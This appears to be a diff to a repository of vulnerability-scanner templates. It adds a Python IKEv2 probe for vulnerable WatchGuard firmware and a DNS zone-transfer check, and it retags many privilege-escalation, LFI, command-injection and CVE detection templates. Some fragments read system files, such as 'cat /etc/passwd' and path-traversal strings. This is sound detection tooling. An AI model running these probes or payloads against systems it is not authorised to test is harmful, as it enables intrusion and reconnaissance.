+                  IkeTransform(PayloadType.TRANSFORM, TransformType.INTEGRITY_ALGORITHM, IntegrityAlgorithm.AUTH_HMAC_SHA2_256_128.value),
+                  IkeTransform(PayloadType.NONE, TransformType.DIFFIE_HELLMAN_GROUP, DiffieHellmanGroup.DH_GROUP_2048_BIT_MODP.value),
+              ]
+
+              r = self.send(Ike.update_request_length(
+                  IkePacker.header(self.crypto.initiator_spi, self.crypto.responder_spi, PayloadType.SECURITY_ASSOCIATION, ExchangeType.IKE_SA_INIT, 0) +
+                  IkePacker.security_association(PayloadType.KEY_EXCHANGE, IkePacker.proposal(PayloadType.NONE, 1, 1, transforms)) +
+                  IkePacker.key_exchange(PayloadType.NONCE, dh_group, key_exchange) +
+                  IkePacker.nonce(PayloadType.NOTIFY, self.crypto.initiator_nonce) +
+                  IkePacker.notify(PayloadType.NOTIFY, NotifyType.NAT_DETECTION_DESTINATION_IP, bytes.fromhex('a6358d813592fdd80a9aaa3390f39c8a5a76b6e4')) +
+                  IkePacker.notify(PayloadType.VENDOR_ID, NotifyType.NAT_DETECTION_SOURCE_IP, bytes.fromhex('4cc324152ba3f68ef649ac1e6f96f33791611db2')) +
+                  IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c590254e5403cbb71f3d493111d7fcad')) +
+                  IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('c61baca1f1a60cc10800000000000000')) +
+                  IkePacker.vendor_id(PayloadType.VENDOR_ID, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3c0000000')) +
+                  IkePacker.vendor_id(PayloadType.NOTIFY, bytes.fromhex('4048b7d56ebce88525e7de7f00d6c2d3')) +
+                  IkePacker.notify(PayloadType.NOTIFY, NotifyType.IKEV2_FRAGMENTATION_SUPPORTED, protocol_id = 0) +
+                  IkePacker.notify(PayloadType.NOTIFY, NotifyType.REDIRECT_SUPPORTED, protocol_id = 0) +
+                  IkePacker.notify(PayloadType.NONE, NotifyType.SIGNATURE_HASH_ALGORITHMS, bytes.fromhex('0001000200030004'), protocol_id = 0)
+              ))
+
+              if FW_VERSION == None:
+                  vendors = r.get(PayloadType.VENDOR_ID)
+                  for vendor in vendors:
+                      if len(vendor) > 32 and vendor[:8].hex() == 'bfc22e9856ba9936':
+                          try:
+                              watchguard_data = base64.b64decode(vendor[32:].decode('ascii')).decode()
+                              match = re.search(r"VN=([0-9\.]+) BN=([0-9]+)", watchguard_data)
+                              if match:
+                                  FW_VERSION = match.group(1)
+                                  BUILD_NUMBER = match.group(2)
+
+                                  if WatchGuardFw.version_tuple(FW_VERSION) < WatchGuardFw.version_tuple("12.11.4"):
+                                      return True, FW_VERSION, BUILD_NUMBER
+                                  else:
+                                      return False, FW_VERSION, BUILD_NUMBER
+                          except (UnicodeDecodeError, binascii.Error):
+                              continue
+
+              notifications = r.get(PayloadType.NOTIFY)
+              for notification in notifications:
+                  if notification.message_type == NotifyType.NO_PROPOSAL_CHOSEN:
+                      raise IkeNoProposalChosenException()
+                  if notification.message_type == NotifyType.INVALID_KE_PAYLOAD:
+                      raise IkeInvalidKEPayloadException()
+
+              return None, None, None
+
+      def test_connection(ip, port, timeout=20):
+          try:
+              sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+              sock.settimeout(timeout)
+              sock.connect((ip, port))
+              sock.close()
+              return True
+          except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
+              try:
+                  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                  sock.settimeout(timeout)
+                  result = sock.connect_ex((ip, port))
+                  sock.close()
+                  return result == 0
+              except (socket.timeout, socket.error, ConnectionRefusedError, OSError):
+                  return False
+
+      def check_watchguard_version(ip, port=500, timeout=10, connection_timeout=20):
+          global FW_VERSION, BUILD_NUMBER
+          FW_VERSION = None
+          BUILD_NUMBER = None
+
+          if not test_connection(ip, port, connection_timeout):
+              return False, None, None
+
+          ike = Ike(ip, port, timeout)
+
+          try:
+              is_vulnerable, fw_version, build_number = ike.sa_init()
+              return is_vulnerable, fw_version, build_number
+          except TimeoutError:
+              logging.error(f"[-] {ip}:{port} - IKEv2 timeout")
+              return False, None, None
+          except IkeNoProposalChosenException:
+              logging.warning(f"[!] {ip}:{port} - IKEv2 service found but no proposal chosen")
+              return False, None, None
+          except IkeInvalidKEPayloadException:
+              logging.warning(f"[!] {ip}:{port} - IKEv2 service found but invalid KE payload")
+              return False, None, None
+          except Exception as e:
+              logging.error(f"[-] {ip}:{port} - Error: {e}")
+              return False, None, None
+          finally:
+              ike.close()
+
+      def main():
+          host = os.getenv("Host")
+          port = os.getenv("Port")
+
+          # Set default port to 500 if Port environment variable is not set
+          if port is None or port == "":
+              port = "500"
+
+          try:
+              is_vulnerable, fw_version, build_number = check_watchguard_version(host, int(port))
+
+              if is_vulnerable is True:
+                  print(f"Vulnerable to Version {fw_version} (Build {build_number})")
+              elif is_vulnerable is False:
+                  print(f"NOT VULN to Version {fw_version} (Build {build_number})")
+
+          except Exception as e:
+              logging.error(f"[-] {host}:{port or 500} - Error: {e}")
+              logging.info(f"[?] {host}:{port or 500} - ERROR")
+              logging.info(f"    Status: Error occurred during check")
+
+      if __name__ == "__main__":
+          main()
+
+    matchers:
+      - type: word
+        words:
+          - "Vulnerable"
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4a0a00473045022100dcff8d2117d05c7f29608fb37b2e2c96880d295642afaa19a7b9fd87fbbe7189022015423b37441c71e3f9b33c8cd1635fd58e97b63018684175eecad56ee9676538:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,34 @@
+id: dns-axfr-enabled
+
+info:
+  name: DNS Zone Transfer Check (AXFR)
+  author: matejsmycka
+  severity: medium
+  description: |
+    Checks if particular domain can be queried via DNS Zone Transfer (AXFR). An open zone transfer can disclose all DNS records for a zone, leading to information leakage.
+  reference:
+    - https://beaglesecurity.com/blog/vulnerability/dns-zone-transfer.html
+  metadata:
+    verified: true
+    shodan-query: port:53
+  tags: dns,tcp,axfr,code
+
+code:
+  - engine:
+      - bash
+    source: |
+      domain=$Host
+      dig axfr $domain @$(dig $domain ns +short | head -n1)
+
+    matchers:
+      - type: regex
+        regex:
+          - 'XFR size: [1-9][0-9]* records?'
+        condition: and
+
+    extractors:
+      - type: regex
+        regex:
+          - 'SOA\s+([^\s]+)'
+        group: 1
+# digest: 4a0a004730450220035a0e8c35c138a76af730a8b2beba052efc136bfedf13160598e9d360c3853c0221008a598f55b7c84f2ac2dbc10e1831976297c3b5cfec55eaa95ddfde27e0fd62cc:922c64590222798bb761d5b6d8e72950
@@ -6,8 +6,8 @@ info:
  severity: high
  description: |
    The term "pexec" typically refers to the "privileged execution" of a command or program.
-  reference: |
-    https://gtfobins.github.io/gtfobins/pexec/
+  reference:
+    - https://gtfobins.github.io/gtfobins/pexec/
  metadata:
    verified: true
    max-request: 3
@@ -46,4 +46,4 @@ code:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
-# digest: 4a0a004730450221009edb614e28a065546cc8fafe7499dcfbffc2d5635ea4dfcdd9cb6aa61a7b664f022012a2c7395c97ef6db907e2e171073c5654f2cf5c48c7e29c5487b3429f174282:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100de37bdf596ffb4626b12296c771186fec148695b0eddf24491a7861479a76d6a022033304a3c5d01e3f2037c9f35445b551dd13f1344c828348c59972410e6b5b1f4:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,8 @@ info:
  severity: high
  description: |
    The run-parts command in Linux is used to run all the executable files in a directory. It is commonly used for running scripts or commands located in a specific directory, such as system maintenance scripts in /etc/cron.daily. The run-parts command provides a convenient way to execute multiple scripts or commands in a batch manner.
-  reference: https://gtfobins.github.io/gtfobins/run-parts/
+  reference:
+    - https://gtfobins.github.io/gtfobins/run-parts/
  metadata:
    verified: true
    max-request: 3
@@ -45,4 +46,4 @@ code:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
-# digest: 4a0a0047304502203c27143ba06ddc09168f9b472e4bb6ebda812ba9bef6bfe56aa200aa59f8b96a022100a9c9bac8a191a714b64848b444f9100ccb89420961c5d53377e1278b3942e51a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b45cb313219a24e71be199e7965444e8eae74df5d45845795d2ae512636cd45602210091d4f511f1df6a3c3aa0902004aa7a82bb389ac64628a877ac785feca59559e6:922c64590222798bb761d5b6d8e72950
@@ -5,7 +5,8 @@ info:
  author: daffainfo
  severity: high
  reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-shadow
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#passwdshadow-files
+    - https://man7.org/linux/man-pages/man5/shadow.5.html
  metadata:
    verified: true
    max-request: 2
@@ -42,4 +43,4 @@ code:
        words:
          - "Not readable and not writable"
        negative: true
-# digest: 4a0a00473045022100eb188c9515d521fa04359befea4e72a984d0fb008f92fedb7026fbdf0e3cb93b02200b58a0d7ff63a300b598ceaeed8bf03e78c1a78ce63472fdf6c526a07814e53c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207974e0cc03df2c2f1939ed4abd700a9662e8ff35d9b5cad24208b6df3171a25402206d0c24abe4e2825e256bea8295182d242d4c39417906c01b9e000ba724250801:922c64590222798bb761d5b6d8e72950
@@ -5,7 +5,7 @@ info:
  author: daffainfo
  severity: high
  reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#etc-sudoers-etc-sudoers.d
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html?highlight=%2Fetc%2Fsudoers#etcsudoers-etcsudoersd
  metadata:
    verified: true
    max-request: 2
@@ -42,4 +42,4 @@ code:
        words:
          - "Not readable and not writable"
        negative: true
-# digest: 490a004630440220058488f0abb109eeda0bb09699d34242875b4af49c51688db2197fd166f508e0022048ed2cfffb8b7b256a3eb1710ebf6a77dc391cc0d20314008b321708803f4881:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204b486f9634aee66597295d7afdc3039538318a8c75cc91e4995945afc621e91f022100bd4700f836ab41d9fa788d3608ec37a8b4df3acd1984170a14b15438eaa1ef60:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,7 @@ info:
  severity: high
  description: Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password.
  reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#nopasswd
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#nopasswd
  metadata:
    verified: true
  tags: code,linux,sudo,privesc,local
@@ -24,4 +24,4 @@ code:
        part: code_1_response
        words:
          - "(root) NOPASSWD:"
-# digest: 4a0a0047304502203fed09936acd0184f8239fbd5bfd5caea9650d83284dd7ad0e33f40af198b873022100b17205cf173f893e2d803afa4c1049bf300c329e2830b439cecbbb679cd11f07:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fc332830334e18132f3b3ba33a57c0d646f7b4ec9fb6a83849c70aa877efffe2022100c780fc0fccad8542da4cca4eaa21c354115cb95d6c3fa910fb5ce6c55821d829:922c64590222798bb761d5b6d8e72950
@@ -5,7 +5,7 @@ info:
  author: daffainfo
  severity: high
  reference:
-    - https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-etc-passwd
+    - https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-etcpasswd
  metadata:
    verified: true
  tags: code,linux,privesc,local
@@ -29,4 +29,4 @@ code:
        words:
          - "Not writable"
        negative: true
-# digest: 4a0a0047304502202a84729e697bff2f8aaf482cfe72f81d230d56c185f9f05365bed72563035d61022100b5682ab9d4331a9d97563cd593b7f3b752ad3c4a99dc5c0287b9eb9f18db9ede:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200a2dcfb2eaea839565816d82dd85b66ba2456dbbe04b3f5571d026c605a94f9c02202f0547ac07c1d33f571cbde87705304d77846d67c120b2b983502fa275396a5f:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
  metadata:
    verified: true
    max-request: 1
-  tags: code,rdp,ntlm,info,enum
+  tags: code,rdp,ntlm,info,enum,discovery

 variables:
  PORT: 3389
@@ -109,4 +109,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 490a004630440220488ac6a5c9db2aff153a56bf24662a0136ddbc1ca3ed2c72160b115867c275f1022003ae169c7f0613a8a1f026d53823c063c90e3315f13b5eba5b1366783e443bcb:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ec99f270e12c09f16ebd91325522989dfa0d42503ae2b3fa47b4decb5f9391d7022100c71480a8bfc8e3cbcd2c188d39111b1abaaad4ae91c1990449cb8c6570590691:922c64590222798bb761d5b6d8e72950
@@ -1 +1 @@
-3a34c74158a1615550c0c0b8f10e17ce
+04825279d81a90757969be8bbeccd5b4
@@ -17,11 +17,11 @@ info:
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
    epss-score: 0.93956
-    epss-percentile: 0.99879
+    epss-percentile: 0.99875
  metadata:
    max-request: 1
    confidence: tenative
-  tags: imap,dast,vulhub,cve,cve2018,rce,oast,php,vkev
+  tags: imap,dast,vulhub,cve,cve2018,rce,oast,php,vkev,vuln

 http:
  - pre-condition:
@@ -49,4 +49,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 4b0a00483046022100a5431e3621f4eb45e6821a563aa290d7d2fef135ed1cf11f7227d1f29b4cec14022100dda49b3cd330641820886f48328ee391753f4e9e6ca246af53c02b6fecc34909:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022003d7f90673973a982e5558470f07a7f4ad8f8cc685710dc21348cb4bc670b4d9022100b5549b5ebdfda9e3d3841380d1a9818136dc794c3e03b05c487cb841c88f78b5:922c64590222798bb761d5b6d8e72950
@@ -17,11 +17,11 @@ info:
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
    epss-score: 0.9434
-    epss-percentile: 0.99948
+    epss-percentile: 0.99949
  metadata:
    max-request: 1
    confidence: tenative
-  tags: cve,cve2021,rce,oast,log4j,injection,dast,kev,vkev
+  tags: cve,cve2021,rce,oast,log4j,injection,dast,kev,vkev,vuln

 http:
  - pre-condition:
@@ -62,4 +62,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a0047304502201356d32eb76073b4e1c343d1757b0f33365cd33a2a0b6f1048f5c45ca9eeacd7022100f0adc50de3a8878d046458f40866e476368f1d40ff45ee9479d88502d2d12828:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009196c1d6ef2d3d8e4b25ff18bfa83c04a308b9765b740c9162c14bbc6731d5dd022100d96615e2b640d1a1570bb2c83be10885b97f859a08cdf30f244d62072624fd42:922c64590222798bb761d5b6d8e72950
@@ -24,7 +24,7 @@ info:
    max-request: 1
    vendor: vmware
    product: spring_framework
-  tags: packetstorm,cve,cve2024,dast,spring,rce,kev,vkev
+  tags: packetstorm,cve,cve2024,dast,spring,rce,kev,vkev,vuln

 http:
  - pre-condition:
@@ -55,4 +55,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4a0a00473045022038ed0bac2870ef54c8ad3cbd5422894d5e4954943367d8a92bb578431f6275c00221008d075fab89a9c28081ea9b1a1f65cced275b7b36c7077ec2970173e5070efb4a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cbb1a7ae18dc796cbd8d01a2416573459737a0f5c5bef589a865dba4e022096602206ff2e01b0d20ab6cefb4ab847190e4ea41429ad947a64493881626897d7b9006:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
    epss-score: 0.92734
-    epss-percentile: 0.99746
-  tags: sqli,dast,vulhub,cve,cve2022,django
+    epss-percentile: 0.99742
+  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

 variables:
  rand_string: '{{rand_text_alpha(15, "abc")}}'
@@ -46,4 +46,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4b0a00483046022100ca5bfc28b13d66d844d807767b1391d9383e76d6328adb9a330c3b35332514ae02210083eb4bf0ff7402dc363e0878751b9ee53c45d18603c585859e4a2e09bb18b589:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220313f97ef1ed9ca9259404dcc6b2a3d20024e5d93c5e240fc3691a60445b3521b02202dc02c16af44d82d9a1c893c9c85690e677e801a7bd2759dad7b66a31591b236:922c64590222798bb761d5b6d8e72950
@@ -19,11 +19,11 @@ info:
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
    epss-score: 0.94161
-    epss-percentile: 0.9991
+    epss-percentile: 0.99907
  metadata:
    max-request: 1
    confidence: tenative
-  tags: cve,cve2022,rce,oast,text4shell,dast,vkev
+  tags: cve,cve2022,rce,oast,text4shell,dast,vkev,vuln

 http:
  - pre-condition:
@@ -68,4 +68,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100d601d33ce20d9443d521421ae609fd36952300b4169ce56f6c8ee0f94849a652022100b17934b6dadeb2f16859aa0468e033abccaab5f16de73c3d2d2fce246d7eefbc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022007239687d8e5b0b562ae071607fcc17bf9e0a75003422cc11d019e4c973a71ed022100e39d76c5c714ec810722b624baa6687e4178262aba54c4973139c572bed95be5:922c64590222798bb761d5b6d8e72950
@@ -18,9 +18,9 @@ info:
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.9265
-    epss-percentile: 0.99738
-  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev
+    epss-score: 0.9261
+    epss-percentile: 0.9973
+  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

 flow: http(1) && http(2)

@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4a0a0047304502207ad87af6464a71413e167d9a3e2c0e8cc845daf2a4a192fe7f248d5ec41ec56c022100d0a6b123e6e0ec351b9f8d782bdb697631dfda6382844c71fffc9ba53cd9e471:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa92d96d35809e43ff9944ae82a2d175820a83937e0f8e01f7e7f4bcf976deb9022100db0273ebd16109f8dcc5b9bc3f0cba9388e844a71558447228205f8f635d7b06:922c64590222798bb761d5b6d8e72950
@@ -12,7 +12,7 @@ info:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md
  metadata:
    max-request: 4
-  tags: cmdi,oast,dast,blind,polyglot
+  tags: cmdi,oast,dast,blind,polyglot,vuln

 variables:
  marker: "{{interactsh-url}}"
@@ -47,4 +47,4 @@ http:
        part: interactsh_protocol
        words:
          - "http"
-# digest: 490a0046304402202419d4ba5f4fd3416fe79458763767d93bf1ef5d7d4c6965bf8e45e7c6cbd841022019c41483c2c7a9df4ff398b7c51adf43b795237a5c14ebd46af70e61e6e4ece3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950
@@ -4,7 +4,7 @@ info:
  name: Python Code Injection
  author: ritikchaddha
  severity: high
-  tags: python,dast,injection,cmdi
+  tags: python,dast,injection,cmdi,vuln

 variables:
  Command: "cat /etc/passwd"
@@ -46,4 +46,4 @@ http:
        part: body
        regex:
          - 'root:.*:0:0:'
-# digest: 490a00463044022064ced5a02135a5ba8b7c175805059e306f3733d3bbf857549147c9c0ccbd384002201c08821cca27e513e75cac1aac095d5b3a88042240da35c639097b520cc3e448:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950
@@ -11,7 +11,7 @@ info:
    - https://codeql.github.com/codeql-query-help/ruby/rb-kernel-open/
  metadata:
    max-request: 1
-  tags: cmdi,oast,dast,blind,ruby,rce
+  tags: cmdi,oast,dast,blind,ruby,rce,vuln

 variables:
  marker: "{{interactsh-url}}"
@@ -37,4 +37,4 @@ http:
        part: interactsh_protocol
        words:
          - "dns"
-# digest: 4a0a0047304502206ff78f37d4198cbd5fc84c62eaeba635201647621d943ab9306c86cb7c2538c5022100cdca6a7cc5fd5960d6c80cbc95d3730c04a44841f9bda59d373a1b7054662259:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
    - https://docs.imperva.com/bundle/on-premises-knowledgebase-reference-guide/page/cookie_injection.htm
  metadata:
    max-request: 1
-  tags: reflected,dast,cookie,injection
+  tags: reflected,dast,cookie,injection,vuln

 variables:
  first: "cookie_injection"
@@ -35,4 +35,4 @@ http:
        part: header
        regex:
          - '(?m)(?i)(^set-cookie.*cookie_injection.*)'
-# digest: 4b0a004830460221008d176a937df3a060c869460001cd09392d40a6b967ff6e96f370720d962326d4022100d97bad09822dfe1eb276af89d02ed901100fe7b826d4acd9b4d9a363c899f74b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,7 @@ info:
  severity: low
  metadata:
    max-request: 41
-  tags: crlf,dast
+  tags: crlf,dast,vuln

 http:
  - pre-condition:
@@ -73,4 +73,4 @@ http:
        part: header
        regex:
          - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
-# digest: 4a0a004730450221008ccd353c3f0bf996eef2c21aefb04e928a4f97a498e8820914082fd8fe364221022012b563c9b300c5bc73c952975acc9211cd116e8786cdba9d6788e37a474db99b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
  reference:
    - https://www.acunetix.com/vulnerabilities/web/angularjs-client-side-template-injection/
    - https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
-  tags: angular,csti,dast,headless,xss
+  tags: angular,csti,dast,headless,xss,vuln

 variables:
  first: "{{rand_int(1000, 9999)}}"
@@ -44,4 +44,4 @@ headless:
        part: body
        words:
          - "{{result}}"
-# digest: 4a0a00473045022020e22f3aa1d49de743347240f3cfc2d4aaa31d402183612be52fd033f51e0792022100a2ed81987f5a5c068275bcf09d505c3582738155068ebb6511cea83023af40c1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a2ac080bb6415a8212391f85928dbb73c39a193590e820a1296630b526de58e9022100e1e54277e619955b67a2f5f872bbb828c405da0080ebebf25cfdf2b1c930eb0a:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,7 @@ info:
  severity: medium
  description: |
    A CSV injection detection template to identify and prevent CSV injection vulnerabilities by using various payloads that could be interpreted as formulas by spreadsheet applications.
-  tags: dast,csv,oast
+  tags: dast,csv,oast,vuln

 http:
  - pre-condition:
@@ -47,4 +47,4 @@ http:
          - "text/csv"
          - "application/csv"
          - "application/vnd.ms-excel"
-# digest: 4b0a00483046022100f7e75b232bba6a4cdf8750cda7e0a17af0e3f86b85e0052d201cb5b60fde787f022100ae2e75bfc5891ad76b304eb90525135d905cde216fc5236f73da1dd79a974321:922c64590222798bb761d5b6d8e72950
+# digest: 480a0045304302204b04df532ec328b11991f3ce6db6e0f23ecf716ea56920967543344970fa6a63021f625b58f16210ea97db1831d0ba77a0c027c8687c9b4f9bca4ad0fdc0e0fc1f:922c64590222798bb761d5b6d8e72950
@@ -8,7 +8,7 @@ info:
    XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.
  reference:
    - https://d0pt3x.gitbook.io/passion/webapp-security/xxe-attacks/xinclude-attacks
-  tags: dast,xxe,xinclude
+  tags: dast,xxe,xinclude,vuln

 http:
  - pre-condition:
@@ -42,4 +42,4 @@ http:
        part: body
        words:
          - 'for 16-bit app support'
-# digest: 490a0046304402207a9b4788db70b76e3e302ea9bcb1db6b7f7e9b54227688c7d8a1ed57482ceb7b0220351c08f3f79d82384fc13d8d8136691ac121a975411566bff706da9302acf29d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e69db58569b4f4e5f60abf7e90300e73b9999127ef3b07cc6e90798e22187bdd0220062843c2ed9f731d9b4985e0b587e5f3e8ac58c29aa83a84f18d21ca4dcda0e4:922c64590222798bb761d5b6d8e72950
@@ -8,7 +8,7 @@ info:
    - https://owasp.org/www-community/attacks/Unicode_Encoding
  metadata:
    max-request: 25
-  tags: dast,pathtraversal,lfi
+  tags: dast,pathtraversal,lfi,vuln

 variables:
  fuzz: "../../../../../../../../../../../../../../../"
@@ -120,4 +120,4 @@ http:
        part: body
        regex:
          - '(<system.webServer[\s\S]+<\/system.webServer>)'
-# digest: 4b0a00483046022100a868d76a37393356f2ff54556a70ebb1253b43c60deeede8ba7d02eec4ac2280022100e2405e6b8a341f5d0abf54aef97ccf1fd24dacef3d99a19b45abc918e6439c89:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100feb011d8f08c768dbafc2814db0721727bf474a1796af82769e6d81a3df3aebb02202a88f33eb015419d4d6b49bd7ce08089a05d86606d93d8601112fe738923ca08:922c64590222798bb761d5b6d8e72950
@@ -9,7 +9,7 @@ info:
    - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
  metadata:
    max-request: 46
-  tags: lfi,dast,linux
+  tags: lfi,dast,linux,vuln

 http:
  - pre-condition:
@@ -83,4 +83,4 @@ http:
        part: body
        regex:
          - 'root:.*:0:0:'
-# digest: 4a0a0047304502207b422d61f592022978e8935702142a3026177736679561ac5c1ff01c5eb6ff02022100c0351d1b5e9675ec4f759d617018e4712a49f742cdd0469c488593896ae45b36:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bc2e34d998c161b0f1d7455850d0f9744628335ec5e3d0aeb95ac7711acaa2dd02210093950e9953cf175d3568ef5a82a366ec34486250941957176db44a0aafc24e1b:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,7 @@ info:
  severity: high
  metadata:
    max-request: 39
-  tags: lfi,windows,dast
+  tags: lfi,windows,dast,vuln

 http:
  - pre-condition:
@@ -74,4 +74,4 @@ http:
          - "fonts"
          - "extensions"
        condition: and
-# digest: 4a0a00473045022100f7f0f2818b15b27bcecf1aaf93838811a0df811ada75050484c58dbb3fd715f002202b25fd76450937ae37c2c925dda20d6f22a490c1b164d3d1bf703044765daf3e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202c7451a1d8e2ce336cd69b4339d8bf006429f0251b6d195fcfeb02472188f3d5022100a1ad317fa882c654e50b3ece6492c6050dad00010369259be8ef2258e4bc4a18:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,7 @@ info:
  severity: medium
  metadata:
    max-request: 1
-  tags: redirect,dast
+  tags: redirect,dast,vuln

 http:
  - pre-condition:
@@ -285,4 +285,4 @@ http:
          - 301
          - 302
          - 307
-# digest: 4a0a0047304502204ebf924d723493c365c9d4d32ba03204835540154f662dfb94b7579f9aad14b9022100e40c6596ab385687b5c2804d8e487496a1ba5835f9cba5d1a8cec27e3f3fab1d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206a2882c605cac005cc99926e18ebd02dc43c4c31a756c745e7f4dd845ab2cca9022100d7cb3221c7842d7e9356fcd694217518a608885632f2cfd3e2abc52a2f26fad2:922c64590222798bb761d5b6d8e72950
@@ -6,7 +6,7 @@ info:
  severity: medium
  metadata:
    max-request: 1
-  tags: redirect,dast
+  tags: redirect,dast,vuln

 http:
  - pre-condition:
@@ -181,4 +181,4 @@ http:
          - 301
          - 302
          - 307
-# digest: 4b0a00483046022100c12ad470d721d0006f75b2024d67345962945cb5b36915ef144972832cc1c372022100f96113abf35c9e3152f9c5206c81279681182d51d3877178aaf6c20dca6bb492:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a79bb24814ebb6fce46310bc6ca43f0a735205eccf07838a37f372e8956cfdbf022100f2fa25d75d359997833b4406ac5acadce14328707f8b2e1896024e3c7cc7bb2a:922c64590222798bb761d5b6d8e72950
@@ -8,7 +8,7 @@ info:
    - https://www.invicti.com/learn/remote-file-inclusion-rfi/
  metadata:
    max-request: 1
-  tags: rfi,dast,oast
+  tags: rfi,dast,oast,vuln

 http:
  - pre-condition:
@@ -32,4 +32,4 @@ http:
        part: body  # Confirms the PHP was executed
        words:
          - "NessusCodeExecTest"
